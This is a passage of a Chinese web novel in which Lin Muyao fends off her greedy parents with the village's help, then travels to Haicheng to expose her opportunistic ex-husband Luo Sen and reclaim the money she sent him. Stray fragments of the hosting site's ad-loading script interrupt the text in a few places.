林守卫赶紧回道,不满地问:“你脾气咋变得这么急,我刚要说话,就被你捶了。” “哼!” 王春花冷哼一声,“慢吞吞的,吃屎都赶不上热乎的。” 接着又再次威胁,“瑶丫头,如果被人欺负了,我饶不了你!” 林守卫心酸,这娘们胳膊肘往外拐,他才是她亲丈夫,林沐瑶只是本家侄女,但看她瞪着眼不罢休的模样,只能回道:“知道了。” 王春花这才笑着看向林沐瑶,嘱咐道:“一会儿躲你守卫叔身后,让他替你扛着,你爹妈不敢打他。” 林沐瑶脸上浮现笑意,“好呢。” 等王春花离开,她看向林守卫,笑着道:“守卫叔,麻烦您了。” 林守卫看着林沐瑶那比玉米杆粗不了多少的手腕,心软了软,怪不得媳妇儿胳膊肘往外拐,瑶丫头的确可怜,林守德和黄翠花两口子太不是人了, 他再次嘱咐道:“不麻烦,你待会儿记得站在我身后。” 林沐瑶点头如捣蒜,有人替她杠事,她自然求之不得。 那边黄翠花还在叫嚣,“林五丫,赶紧开门,再不开门,老娘劈了这破木头门。” 声音已然带上了火气。 今天她听人说五丫这个死丫头,竟然带着支书一家做买卖,他们家虽然没人做过买卖,但却知道做买卖挣钱。 再想起前几天五丫那个贱丫头竟然找了支书和大队的长辈,逼着他们给了她十块钱还有几十斤粮食,她就肉疼外加恨得牙根痒痒,她今天非得让五丫那个贱丫头连本带利地还回来不可。 可来了之后,竟然是铁将军把门,她选择性看不到,她心里有火需要发,林沐瑶不在,那么她家的门就是他们发泄的对象。 林守卫赶着骡车走了过来,大声问:“守德哥,嫂子,门锁着,你们咋还拍门?” “谁知道是不是五丫那个贱丫头故意从外面锁着。” 黄翠花反问道。 反正甭想她认错,她永远都不会错。 林守卫讲不通道理,朝着身后抬了抬下巴,说道:“今天瑶丫头跟着我们去城里了,真没有在家。” 林沐瑶从林守卫身后探出脑袋,细声细气地问:“妈,我今儿一天都没在家,你找我有事?” 黄翠花甩了她一个眼刀子,没好气道:“当然有事。” 见林沐瑶躲在林守卫身后,她气地骂道:“躲你守卫叔身后缩头缩脑的,没个正经样子,你过来,我有事跟你说。” 林守卫是支书的大儿子,支书本来就对他们家有意见,她可不想收拾贱丫头误伤了他。 林守卫赶紧替林沐瑶分辨,“嫂子,有事就这么说吧,在城里忙了一天,挺累人的。” 黄翠花见林守卫这么护着林沐瑶,眼里冒火,五丫这个贱丫头做买卖肯定挣到钱了,要不然林守卫不会跟母鸡护着小鸡崽一样地护着她。 这么好的挣钱机会不给自家人,给别人,黄翠花现在生撕了林沐瑶的心都有了,要不是林守卫在这里,她早就大耳刮子扇过去了。 但还是那句话,他们家还要在牛角岭大队生活,不能太得罪支书家,她深吸一口气,努力压制自己的怒火,问:“五丫,听说你去城里做买卖了?” 这事儿瞒不住,林沐瑶便点了点头,“嗯,医生说我得每天都喝药,要不然活不长,所以得挣钱买药。” “那一天挣多少钱?” 黄翠花又问。 林沐瑶抿唇,怯生生地道:“也就够药钱。” 闻言,黄翠花再也按耐不住怒气,跳脚大骂:“放屁,我可听话摆摊可挣钱了,挣的比城里工人还多。” “黄翠花!” 一道带着怒火和威压的声音响起,黄翠花踉跄一下差点没站稳,林守德赶紧过去扶住她,并且喊了声:“旺源叔。” 在农村,特别是同族聚居的农村也是,讲究辈分,支书和林守德年龄差不多大,但支书是大一个辈分的长辈,又是支书,林守德对他有着天然的敬畏。 黄翠花也是,她一改刚才的嚣张,先是喊了声,“旺源叔。” 然后才小声叨叨,“我也不是故意骂五丫的,她去城里做买卖,都不跟家里头商量,太不懂事了。” 支书淡淡地瞥了她一眼,道:“瑶丫头是出嫁的闺女,嫁出去的闺女泼出去的水,她做事凭啥一定要跟你们商量?” 黄翠花不服气,壮着狗胆,小声反驳:“你当然会这么说了,五丫可是带着你们家发财呢。” 支书冷声道:“你再说一遍?” 黄翠花把刚才的话重复了一遍,然后便开始讲道理,“再是出嫁的闺女也是我肚子里爬出来的,总没有自己发财,不管娘家的道理。” 支书的脸黑了,他冷冷地看向林守德,问:“你也是这么想的?” 林守德低头看着脚尖,蚊子哼哼道:“本来就是。” 支书暗沉着脸,冷冷地道:“那咱们就召集全体社员开会,看看社员们认不认同你们说的。” “你们趴在出嫁闺女身上吸血,已经坏了牛角岭大队的名声,要是再开会讨论这事,社员们会不会把你们赶出牛角岭大队?” 李萍紧赶慢赶地过来声援支书,她本来在要好的人家串门子,正唠嗑唠得高兴呢,孙子大宝过来喊她,说:“爷爷让你去沐瑶姐姐家,沐瑶姐姐的爹妈找她麻烦。” 她赶紧一路小跑地过来,来了后气都没有喘匀,便开口声援,并且走过去跟林守卫站一起,护着林沐瑶。 “别人我不清楚,我们家不想跟林守德一家呆在一个大队,丢人!” “重男轻女,不把闺女当人看,把全大队的名声都坏了。” 陆陆续续赶来的社员们纷纷指责林守德一家,这一家人不是偷奸耍滑,就是好吃懒做,要么就是小偷小摸,反正没个好人,牛角岭大队的人出去,经常被其他大队的人调侃,“你们牛角岭是不是风水有问题,咋就出了那么一家子孬人?” 每每这时候,牛角岭大队的人甭提多丢人了,这次林守德和黄翠花两口子又闹事,他们便把埋在心里的怨气全给发出来。 林守德和黄翠花气得脸红脖子粗,黄翠花又开始跳脚了,“有种你们以后有难处都别找闺女。” 然后又开始揭人老底儿,“守望家的,你儿子娶媳妇的彩礼,你敢说不是你嫁闺女跟女婿家要的彩礼?” “守信家,你去年住院,不是跟你闺女家要的钱?” 她一个个地数过去,彻底把人给惹毛了,有那性子冲动的人直接开始上手了,林守望的媳妇儿就过来薅住了黄翠花的头发,林守信的媳妇伸手就捶黄翠花的背,另外还有几个人也加入进来。 你一拳,我一脚地把黄翠花打得嗷嗷叫,林守德在一边干着急没办法,女人打架他一个大老爷们也不好拉架,只能找李萍帮忙,李萍哪里会真心帮忙,拉架也是拉偏架。 林守德见林沐瑶干站着不动,气地大骂:“你死人啊,看你亲妈被一群人打?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >林沐瑶努力压制嘴角翘起,用怯生生的声音说:“我,我没力气。” 然后戏精上身,手扶额头,“哎呀,我头好晕。” 最后还是支书看不下去,让林守望等人把各自的媳妇儿拉开,而此刻黄翠花早就已经鼻青脸肿,就是衣服都被扯烂了。 林沐瑶低头偷笑,“活该!” “支书,你可要替我做主啊。” 黄翠花嚎哭着喊冤。 但支书厌烦地道:“咋做主,是你先嘴欠的。” 黄翠花不干了,坐在地上,拍着大腿,哭嚎:“老天爷啊,没法儿活了,竟欺负老实人啊!” 支书被她嚎得耳朵嗡嗡响,大声呵斥道:“没事赶紧回去洗洗睡,再嚎,我就召开社员大会投票赶你们出大队。” 林守德赶紧去捂黄翠花的嘴,就凭借社员们刚才的态度,他们可不敢让支书开社员大会。 等安静下来,支书再次威胁:“以后没事少来找瑶丫头,但凡来一次,我就召开社员大会。” 这次黄翠花和林守德不敢再闹腾了,人离乡贱,离开了牛角岭大队,他们家真不知道能去哪儿。 等他们离开,林沐瑶特地过来跟支书道谢:“谢谢支书爷爷。” 然后又团团鞠躬,“谢谢各位叔伯大娘婶子们。” 大家被她的态度弄得有些无措,但心头却是欣慰的,林守德家也算是歹竹出好笋了。 本来就很累,又折腾了一番,林沐瑶更加累了,回去熬了药喝了,又煮了猪肝汤喝了,再把做烩菜的材料备好,做馒头的面做好,洗漱之后,这才去睡觉。 她睡过去之前,还在想着,得加快挣钱速度,赶紧挣够去海城的钱,然后再跟渣男罗森讨要他欠原主的一千多块的巨款,有了这笔巨款,她能够伸展的空间就会大很多。 等有钱了,她就进城买房子,不在村里住了,远了,极品爹妈找她麻烦,也没那么方便了。 于是第二天,她再次带着两大桶烩菜,加两大筐馒头,坐着林守卫的车进城了。 这次她没再帮林守卫和王春花卖柿子,反而一门心思卖烩菜,因为烩菜用料实在,味儿好,还免费送馒头,生意跟昨天一样火爆。 她卖完两桶,会再去方正家重新做,烩菜材料都在附近的菜市场买,另外用灶,她也会给方正算使用费。 方正本来打算不收的,但林沐瑶坚持,“方哥,我是做长久买卖的,不是一天两天,不能坏了规矩,让您难做。” 方正比大拇指,“林妹子是个爽利人。” 林沐瑶笑了,亲人朋友之间想要处得好,经济上就得弄清爽了,因为经济问题反目成仇的人少吗? 而她因为方正给的方便,她卖的烩菜也多了起来,基本上都能卖第一天的四倍,挣的钱也从15块左右,变成了六十多块。 但林守卫和王春花的生意却没那么好了,从第一天卖一百五十斤柿子,到第二天一百斤,第三天就是五十斤了,以后会更少,因为卖柿子这样的无本挣钱买卖,跟风者越来越多。 王春花着急地跟林沐瑶求助,“瑶丫头,你可得帮帮婶子,家里还有两百多斤柿子,卖不掉就坏了。” 林沐瑶提议:“脆甜柿子卖不动,那就做成柿饼冬天卖,脆甜柿子卖多了,冬天柿饼就少了,价肯定能提上去。” 王春花高兴地猛夸:“还是瑶丫头脑袋好使。” 林沐瑶笑了笑,说起了另外的事,“婶子,我打算去趟海城找罗森,我供了他四五年,他发达了,只写了一封信,啥都不给就要离婚,没那么容易,我得把我这些年的辛苦钱讨回来。” 王春花也觉得该讨回来,但她脸上却带着忧愁,担心地问:“海城人生地不熟的,他不给咋办?” 林沐瑶狐狸眼一眯,冷冷地道:“那由不得他。” 正准备下班的罗森,后背一凉,打了一个大大的喷嚏,天凉了,该加衣服了。 16. 罗森后悔了 罗森打了一个喷嚏,办公室的同事王大姐关心地问:“小罗,你没事吧?” 罗森笑着摇了摇头,“没事,大概是着凉了。” 王大姐瞅了眼他身上单薄的的确良白衬衫,说道:“你穿的太薄了,□□事,你还年轻,不能只为了好看,不加衣裳,要不然等老了,病痛就找上身了。” 罗森受教,感激道:“谢谢王姐,我晓得了。” 王大姐倍感欣慰,看罗森的目光都带上了赞许。 罗森是海城大学毕业的大学生,又是他们单位采购部主任的乘龙快婿,有文化,长得好,还有一个好丈人,前途一片光明。 她想着自己家插队回城后,一直东游西逛不好好学习,也不好好工作的儿子,叹口气,真是人比人气死人。 她还在想着心事,坐她旁边的同事郑复兴看着拿着一方巴掌大的小圆镜,左右来回照镜子的罗森,调侃道:“哟,□□事,怎么照起镜子来了?去接个对象还需要特地打扮?” 罗森笑着回道:“今天晚上带她去看电影,然后再去她家吃饭,去女方家怎么也得体面些。” 郑复兴酸了,“长得好就是好啊。” 他比罗森还要大上五岁,在百货大楼工作了近十年了,还是一个普通的科员,可罗森刚刚毕业,刚分配过来多久,就听说年底提干的名额里竟然有他。 他心里冷哼,不就是靠女人吗?小白脸子,没好心眼子。 罗森感受到他的嫉妒,不仅没生气,反而嘴角微微勾起,不遭人妒是庸才,被人妒忌了,正好从另外一个侧面说明了自己的优秀。 他用手指头把眼角的眼睫毛拿开,又看了看自己的脸,见干干净净的,没有脏东西,这才满意地放下镜子离开。 他一离开,郑复兴就朝着他的身影嫌弃地撇了撇嘴,“比娘们还矫情。” 王大姐没吭声,这世界上无论男女,长得好,本来就是一种资本,而能够用好这种资本搏上位也是本事。 再说罗森这边,他提着公文包,顶着秋风,微微瑟缩着身体,走到了赵碧云所在的财务科,站在门口,先理了理头发,这才敲响了办公室的门。 财务科的人齐齐向门口看去,他温润白皙的脸上赶紧扯出一抹笑容,问:“碧云,我买了电影《佐罗》的票,你有空吗?” 赵碧云本来在看外国小说消磨时间,看到罗森过来,便装模作样地拿了一份文件看,等罗森对她发出邀约了,她又装模作样地道:“等我忙完工作。” 罗森好脾气地道:“好。” 赵碧云脸上这才露出笑容来,得意地拿眼睛在办公室里逡巡了一周,看到大家羡慕的眼神,她的虚荣心得到了空前满足。 她当初看上罗森,除了长得好,还有就是他懂如何在人前给她挣面子,要不然她就算是二婚,凭借她的家世,大把的好青年等着她挑呢。 办公室的人早就习惯了这俩人洒狗粮,虽然内心有些恶心,但羡慕也是真羡慕,女人谁不想有个无条件宠爱自己的男人,而男人也想拥有一个让自己少奋斗十年的岳父。 罗森好像戏精附体了,接着又再次上演宠妻戏码,“碧云,你先工作,我去给你买点吃的,你工作一下午也累了,得补充营养。” 赵碧云娇嗔他一眼,“就会浪费钱,我都被你喂胖了。” 然后她从工位上站起身,装作一脸无奈的样子,“工作明天再做,但我却不能再吃正餐之外的东西了,我胖得以前的连衣裙都穿不上了。” 罗森不赞同地道:“你哪里胖了,分明是不胖不瘦刚刚好。” 赵碧云满是雀斑的脸上浮现一抹娇羞的笑容,嗔怪道:“就嘴上说的好听。” 罗森眼神闪了闪,作为拥有一个美人前妻的男人,对于现任普通还带着瑕疵的外貌,内心是嫌弃的,但想到赵碧云的主任爹,他所有的不满都压下了,权利和前程才是必需品。 但心底不是没遗憾的,那就是当初没有碰林沐瑶,不想要孩子,可以做避孕,但是不碰人,真是太亏了。 赵碧云穿上大红色风衣,挎了一个小皮包,踩着高跟鞋走向门口,罗森再次叹气,方圆脸,扁平的五官,再加上小麦色肤色,以及满脸的雀斑,身材也不苗条,怎么瞅怎么不好看。 罗森好看的凤眼里再次闪过一抹嫌弃,但很快就压下去了,为了前程,他能忍,等他站到了高处,想要美人,不过招招手的事。 心里再一次可惜,当初咋就没有碰林沐瑶呢,那样的尤物放到海城也是拔尖的存在。 “阿嚏!” 从城里回到家的林沐瑶进门就打了一个大大的喷嚏,她揉了揉鼻子,皱了皱眉头,到底是谁在骂她。 原主没仇家,她过来除了极品娘家,也没有得罪过人,所以很有可能就是极品爹妈一家骂她。 毕竟她挣了钱没给他们,按照他们的尿性,肯定挖心挖肝得难受,肯定见天地骂她,她一点儿也不奇怪。 她猜测得很对,林守德和黄翠花还有林大宝和他媳妇儿,这两对夫妻边喝着稀饭,边不住嘴地骂她。 黄翠花嘴里一边嚼着咸菜,一边骂着她,“贱丫头就是贱皮子,以前倒贴小白脸,现在又倒贴支书家,肯定是看上林守正了,林守正可是她没出五服的叔,不要脸,见了男人走不动道。” 骂得太投入,嘴巴里嚼碎的食物颗粒随着张张合合的嘴喷射而出,都喷到了桌子上的菜上,但桌边吃饭的一家人却像没有看见一样。 林二宝等老妈骂了一段之后,便放下筷子鼓动,“爸、妈,你们赶紧想想办法,五丫那个贱丫头现在可挣钱了,一天少说几十块呢,干上半年,我媳妇本就有了,我可不想打光棍了,出门别人看我都翻白眼。” 黄翠花气地又骂了林沐瑶一通,然后便恨恨地道:“那个贱丫头也不知道给支书灌了什么迷魂汤,全大队的人都站她那边,我有什么办法。” 林守德气得也吃不下饭了,骂骂咧咧地道:“支书一家跟着贱丫头一起挣钱,当然护着她了,大队其他人都巴着支书,支书护着她,他们当然也护着那个贱丫头,竟欺负老实人。” 一大家子人对于林沐瑶没有任何办法,只能眼睁睁地看着她大把大把地挣钱,他们却一分钱都得不到,而且他们却一点办法都没有,那真是挖心挖肝得难受。 林沐瑶这边进门先收拾了一只老母鸡,然后炖上,打算喝老母鸡汤,另外又熬了中药,然后才去收拾家里。 她打算明天就去海城找罗森,先把家里的东西收拾好,这一去还不清楚几天能够回来,吃的东西可以给邻居李翠娥一家一点儿,她还要拜托她帮忙留心家里,虽然家里破破烂烂,但那也是她目前唯一的容身之所。 剩下的大部分吃食送给支书一家,深化一下关系。 再就是新添置的锅碗瓢盆,还有一些家具,也都放到支书家,就林守德一家的极品程度,她怕她从海城回来,家里就会被搬空了。 至于衣裳,她总共也就添了两身衣裳,一身就是买布做的那身,另外就是身上的这套红格子翻领衬衫,加的确良直筒裤。 款式很土,但是作为一个身娇体弱又独居,还做着买卖的女人,穿着打扮上低调一些好。 再就是她要去海城找罗森要钱,穿着打扮低调普通更容易获得别人的同情,比起打扮得花枝招展的更加能够坐实罗森嫌贫爱富的嘴脸。 再就是存款,俗话说穷家富路,她总共也就二百来块钱,全部带身上,到了海城后她打算看看能不能批发一批货回来卖,挣一个差价。 她把事情都安排妥当,这才推起独轮车 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,往支书家里去,支书知道她的来意,担心地问:“瑶丫头,你知道罗知青工作单位吗?” 林沐瑶摇了摇头后,说道:“但我知道他大学地址,也知道他爸妈家地址,如果实在找不到,我就找公安局找公安帮忙。” 支书欣慰道:“做了两天生意,你算是历练出来了。” 林沐瑶笑了笑,“吃了一次亏,再不长进,还不如找块豆腐撞死算了。” 李萍气地拍了她肩膀一下,“瞎说什么晦气话,快呸两下。” 然后她双手合十,“童言无忌,童言无忌,各路神仙莫当真。” 支书瞪了她一眼,“瞎搞什么封建迷信。” 李萍胸膛一挺,“我这是宁肯信其有。” 支书甩了她一个眼刀子,这老婆子真是越老越糊涂了,但也没有再说她,在小辈面前,得给她留点面子。 然后他又看向林沐瑶,关心地问:“你钱凑手吗?不够,让你李奶奶给你拿点。” 李萍也紧跟着道:“是啊,穷家富路,你不要脸皮薄,说不出口,在家千般好,出门万事难,多带点儿钱,也能从容些。” 王春花也劝,“瑶丫头,别张不开口,咱们又不是外人。” 林沐瑶笑着摇了摇头,“放心,我钱还够用。” 接着又请求支书帮她开介绍信。 支书在王春花回来说了她要去海城的事后,便去大队部把介绍信给开好了,他把介绍信递给她,说道:“也不清楚你需要几天,日期你自己填吧,记得平平安安地回来,钱能要就要,要不了,咱们先不要,安全最重要。” 林沐瑶点了点头,认真保证道:“您放心,我会保重的。” 在支书家又说了会儿话,她才回家睡觉,明天上午九点的火车,虽然方正托人帮她买了卧铺票,但在车上哪里敢睡,也就比硬座舒服一些罢了。 第二天,林守卫还是天没亮就赶着骡车载着王春花和五十斤柿子过来了,顺便再把她送到火车站。 他们现在已经不在火车站卖柿子了,火车站现在卖柿子的人得有十几二十个,就连方正都进柿子卖了,在那里他们根本卖不动货,如今他们卖货的方式就是赶着骡车走街串巷地卖,不仅辛苦,卖货速度还慢,五十斤柿子都得卖上差不多一整天。 他们打算把家里头二百来斤的脆甜柿子卖完就不卖了,转做柿饼。 一路晃悠地把林沐瑶送到火车站,临离开前,王春花不放心地嘱咐,“瑶丫头,在火车上少说话,听说火车上有人贩子,啥事都没有安全重要。” 林沐瑶心微暖,笑着点了点头,“婶子放心,我会小心的。” 王春花离开后,方正来了,他把火车票递给她,又嘱咐道:“在火车上有事就找列车员,少说话,多休息,在海城遇到了困难,就去这个地址找一个叫作付文杰的人。” 说着又递给她一个写着地址的纸条,林沐瑶感激道谢:“谢谢方哥。” 虽然他们认识过程不愉快,但是后来方正真地帮了她很多,这个哥,她也是越叫越真诚。 方正却笑着道:“客气啥,我总不能白让你叫一声哥。” 林沐瑶眉眼一弯,故意玩笑道:“那我以后得多叫几声哥才成。” 方正哈哈大笑,“你叫几声,我就应几声。” 俩人说了会儿话,林沐瑶便进了候车厅,她找了个地方坐下,低着头看着自己的手指头,在心里头再次琢磨到了海城的行动方案,这一次她一定要把钱要回来,还要把原主的仇给报了。 坐火车非常顺利,她卧铺的小车厢人也好相处,并没有小说女主坐车时候发生的种种意外。 坐了三十多个小时的火车才到海城,她提着行李箱踏上海城的土地,深吸一口气,罗森,你的好日子要到头了! 17. 无耻罗森 这就是海城,是魔都,承载无数人梦想的城市,在安平县见不到几辆的轿车,这里却数都数不过来,车流如织让人眼花缭乱。 “小姐,坐车吗?” 一个中年男人过来招呼,是一个三轮车师傅,他穿着一件军绿色衬衫,带着一顶鸭舌帽,精气神满满,满脸亲切的笑容,对顾客的称呼也与国际接轨。 以小见大,海城的经济活力比安平县好太多了。 她从口袋里拿出一张纸,问:“到这个地方多少钱?” 车夫看了看地址,伸出一根手指,“一块钱。” 林沐瑶惊呼,“这么贵,你抢钱啊。” “小姐,海城大学离火车站至少二十里路,一块钱不贵了。” 车夫好脾气地解释。 林沐瑶还价,“在我们那里坐公交车,二十里路才三毛钱,你这里要一块,太贵了,五毛钱我就坐。” 嫌货才是买货人,车夫看这单生意有门,便跟林沐瑶开始讨价还价起来,最终以七毛钱价格成交。 车夫载着他往海城大学而去,路上无聊,林沐瑶本来打算跟师傅聊聊天,了解了解海城现在的经济情况。 但她还没有开口呢,车夫就首先开口了,“小姐,你有亲人在海城大学?” 林沐瑶叹口气,故作忧伤地道:“我丈夫原先在海城大学读书,我供他吃穿四年,谁能想到他一毕业就写了一封信要跟我离婚,我要找他要个说法。” 车夫叹口气,问:“他是知青吧?” “是。” 林沐瑶声音干涩地肯定回道。 前些年知青上山下乡搞得如火如荼,海城是个大城市,出去的知青多,后来回城的知青也多,而知青回城背后的故事更是多到数不胜数。 有知青为了回城,甚至用自己的身体做筹码的,有拖家带口带着农村的老婆孩子,或者男人孩子回城的,也有抛妻弃子或者抛夫弃子的,真正演绎了人间百态。 其他还好,就是有了孩子的,把孩子扔下,那些孩子太苦了。 他家住的弄堂里就有一男知青,在插队的地方跟当地姑娘结婚并生了俩孩子,考上大学回城,就把农村的老婆孩子给抛弃了。 去年他老婆带着孩子来海城找他,老婆憔悴干瘦,俩孩子也瘦得皮包骨头,穿着补丁摞补丁的衣裳,比乞丐还可怜,让人看着心酸。 但那个知青家最后却用两百块钱把母子三人打发了,可以想见,没有男人撑门立户,一个女人带着俩孩子在农村生活该有多艰难。 他叹口气,蹬车的脚使劲一蹬,车子跟着快起来,他虽然不是好人,但也有基本的良心,其他不说,就说孩子,自己个亲生的孩子说抛弃就抛弃,这是人干的事。 林沐瑶不懂车夫怎么突然就情绪不好了,她还是回答了车夫的话,“没孩子。” 车夫神情缓了缓,道:“没孩子好,对大人,对孩子都好。” “同志,我说句你不爱听的话,男人变心了,回心转意的概率不大。” 车夫语重心长地劝。 林沐瑶领车夫的情,真诚道谢:“谢谢师傅。” 然后她又说了自己的想法,“我没想着挽回他,我供他供了四五年,这些年我每月都给他汇钱,农村挣钱难,那钱都是我卖命挣的,他想离婚可以,但得把钱还我。” 车夫不想还有这事,非常赞同地道:“是得让他还钱,花了女人的钱上学,发达了要离婚却不还钱,哪里有这样的好事。” 林沐瑶故意忧伤地叹口气,说:“他现在毕业被分配到了百货大楼这样的好单位,我一个农村来的,在海城人生地不熟的,他如果坚持不给,我也没办法。” 车夫立刻给她提建议,“你可以先去他单位旁边打听打听他和他单位的情况,再去找他,如果他真心赖账,如果他领导处事还算公正,那就找他领导,让他领导帮忙,如果领导不大好,那你就直接去找公安报案,让公安帮忙。” 林沐瑶感激道谢:“谢谢师傅。” 车夫爽朗一笑,“谢什么,我什么也没做,只是动了动嘴而已。” “但您却是给我提了一个很好的方案,要不然我就跟那无头苍蝇一样,到处瞎撞了。” 林沐瑶带着感激的语气说道。 好心被人领了,车夫成就感满满,话匣子也就彻底打开了,林沐瑶接着就跟他打听了海城的各种服装和配饰批发市场,以及它们的价格。 服装和配饰易携带,容易出手,需要用到的本钱也不多,她完全可以在回家的时候,带上一批货,回安平县城卖,肯定能够挣一笔钱。 说话间,目的地到了,车夫把车停到海城大学门口,然后回头笑着提醒,“小姐,海城大学到了。” 林沐瑶先数了七毛钱出来递给车夫,然后再下车,跟师傅说了声,“谢谢。” “同志,祝你顺利。” 师傅离开之前冲她鼓励道。 林沐瑶微笑着再次道谢,“谢谢师傅。” 这才迈开腿走近了海城大学的校园。 海城大学虽然没有清北的名气大,但也是华国数的着的好大学,门口来来往往或抱着书本,或骑着车,或徒手步行的天之骄子们,他们的脸上洋溢着笑容,青春又有朝气。 对比于后世的大学生,他们是真正的天之骄子,于千军万马中挤过独木桥,走进象牙塔,只要好好学习,毕业就能够分配到一个好的工作,不用为前途生计担忧,而且大学不要学费不说,还给他们生活补贴。 像她当年,明明也是一流大学的学生,但为了毕业后能够有一份工作,也是拼了吃奶的劲儿努力学习之余,又参加各种活动,为求职简历增添内容。 压下羡慕,她抬腿走向一个面善的女同学,问:“同学,请问中文系怎么走?” 女同学微圆的脸浮现笑容,“我就是中文系的,我带你去。” 林沐瑶感激道谢,“谢谢。” 女同学靳嘉笑了笑,“不用客气,你去中文系有事?” 林沐瑶点了点头,回道:“我爱人就是中文系的学生,我找他。” 靳嘉眼睛一亮,问:“你爱人叫什么名字?哪一届,哪个班的?说不定我正好认识呢。” 林沐瑶:“他叫罗森,是79级的。” “原来是罗师兄。” 靳嘉惊喜道,但很快她的眉头就皱了起来,“可我没听说罗师兄结婚了啊。” 这话林沐瑶并不例外,就罗森这样一心吃软饭的小白脸,好不容易考上了大学,自然要攀更高的枝儿,那么维持单身人设就是必要。 她看女同学提起罗森一脸崇拜的样子,就知道这家伙在大学混得不错,最起码名声和人缘都不错。 但她今天就要把他的底子给扒了,把他在大学的好名声给黑了,她一脸受伤地道:“我们在村里发过喜糖的,而且在一起生活了两年多,他上了大学后,我还经常给他汇钱当生活费。” 靳嘉想起罗森经常收到的汇款单,不由问:“汇钱的不是他救过的一个妹妹吗?罗师兄说你为了报答救命之恩,认他当了哥,还承担了他大学的生活费。” 林沐瑶气地险些破口大骂,但为了获取舆论支持,她还是努力做出一脸悲伤的样子,说道:“他根本没有救过我,因为他没钱给我家彩礼,便让我故意落水被他救,这样我就坏了清白,我就不得不嫁他。” 靳嘉不相信热心又有才华的罗森竟然是个伪君子,她绷着脸,道:“这也只是你的一面之词。” “不管你信不信,我说的都是事实。” 林沐瑶苦笑一声,继续说:“罗森毕业后,写信要跟我离婚,我也不是死缠烂打的人,我来只是想要他把我这些年汇给他的钱还给我,我因为给他挣生活费,亏了身体,医生说得好好调养,要吃几年中药和营养品,否则就活不长,我想活着,不想死。” 靳嘉又打量了打量她,穿着红色碎格子翻领衬衣,深蓝色直筒裤,手工布鞋,挎着一个洗得发白的蓝色粗布挎包,还抱着一个化肥袋子,打扮非常土气。 但这并不是重点,重点是她身材干瘦,头发干枯毛燥,脸色蜡黄,看着就不健康,她有些相信她了。 罗森在她心里的好形象有了裂缝,没想到待人热心又有才华的学长,不仅是个伪君子,还是一个吃软饭的小白脸,更是发达后就抛弃糟糠妻攀高枝的陈世美。 她现在无法形容自己的感受,失望和气愤之余,还有一点恶心。 走到办公楼下,靳嘉停住脚步,说道:“这里就是我们中文系老师的办公室了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林沐瑶道谢:“谢谢同学。” 靳嘉僵硬地道:“不客气。” 她现在不知道该如何面对林沐瑶,她毁了她心目中罗师兄的好形象。 林沐瑶找到中文系系主任的办公室,敲门进去,看到一个满头白发的男教授,他面相看着有七十岁,但具体情况不清楚。 身材干瘦,脸色却红润,带着一副黑框的近视眼镜,神情和蔼,被敲门声吸引,抬头看向林沐瑶,好奇地问:“同志,有事?” 之所以没叫同学,那是因为林沐瑶身上没有大学生身上的那种清澈愚蠢的气质,经过社会的历练,她的心态和气质都回不到学生时期,老师一眼就能够分别出来。 林沐瑶先是礼貌地打招呼,“教授好,我叫林沐瑶,是贵校79级学生罗森的爱人。” 彭泽教授诧异了一瞬,罗森是他的学生,才华不错,为人又热心,他对他印象不错,但没有听说他结婚了啊。 但他还是先把林沐瑶邀请进办公室,招呼她坐下,然后说道:“罗森已经毕业,到工作岗位上了,他不在学校。” “我知道。” 林沐瑶开门见山地把跟靳嘉说的话又重复地跟教授说了一遍,然后捏了把大腿,眼圈一红,哽咽道:“我实在没办法了,才来找罗森,求他把我这些年给他汇的钱还给我,我要吃药,我不想死,教授,您帮帮我。” 彭泽教授先是震惊,他不想相信他的学生当中竟然有如此品德败坏的人,他问:“你有证据吗?” 林沐瑶点头,“有。” 她低头从挎包里拿出一沓信,还有一沓汇款单,“这就是这四年来,我跟罗森的书信往来,还有给他汇钱的票根。” 接着她又掏出一封牛角岭大队开的证明,证明写了原主和罗森于77年结婚的事实。 证据就在跟前,彭泽教授不想相信,又不得不信,他气得脸都红了,大骂出声,“无耻之徒!” 他又气又怒地背着手在办公室里来来回回地走了几圈,气不仅没消,还更加旺了,但他没有忘记林沐瑶,停住脚步,他朝着林沐瑶鞠躬,“同志,对不起,是我们没有教好学生,让你受苦了。” 林沐瑶赶紧扶住教授,安慰道:“罗森考大学时候已经二十多岁了,他的三观早就养成,哪里是区区大学四年就能够掰正的,教授不必自责。” 彭泽教授还是愧疚,“我们教育也有缺失。” 然后又问:“同志,你打算怎么办?” 林沐瑶便把打算说了,“我想让教授告诉我罗森的工作单位地址,我想直接去找他要钱,如果他不给,还请教授帮我主持公道。” 彭泽教授本就心有愧疚,闻言,立刻就道:“义不容辞!” 他其实心里还有点对罗森的期望,那就是他能够爽快还钱,也还算有点良知。 林沐瑶在学校半日游,只是靠着嘴巴先坏一波罗森的名声,等拿到手钱,那就是罗森噩梦的开始,她还有一系列大招等着他呢。 至于她为什么不去罗森的家里找罗森家人要地址,市井邻里之间讲究情分,对于她这个外来者,他们自然会维护罗森,而学校就公正多了,这只是其一。 还有一个原因,罗森的人脉中,最有本事的,最能够给他帮助的就是大学同学,她要坏了他在大学同学心目中的印象,让他失去他以后最靠谱的人脉助力。 再说罗森,今天他不知道咋回事,右眼皮一直跳个不停,还总是心神不宁,总是不能够集中精神。 突然办公桌上的电话响了,他拿起来接,话筒里传来一道男声,“□□|事,外面有个女同志找你。” 他疑惑地问:“她可说了她是谁?” “她说她是你爱人。” 男声的回答让他石化当场,林沐瑶来了?怎么可能,那么一个胆小的人,她怎么敢来千里之外的海城。 虽然疑惑,但是他还是站起身走了出去,等到了百货大楼后院的门岗处,看到那个单薄的身影时,他厌烦地皱起了眉头,还真是林沐瑶。 他都说了要离婚了,她还来干什么?她也不想想她一个文盲,配得上他这个大学生吗? 而林沐瑶也看到了他,眼里的厌恶一闪而过,然后便开始酝酿情绪,准备了几天的剧本,终于轮到表演时刻了。 18. 跟罗森交锋 林沐瑶红着眼眶,看着罗森怒气冲冲地越走越近,白衬衫、西装裤、黑皮鞋,配上他近一米八的身高,修长而挺拔,更甭提他五官俊俏,气质温润,黑框近视眼镜又给他添了书卷气,整一个彬彬有礼的知识份子的模样。 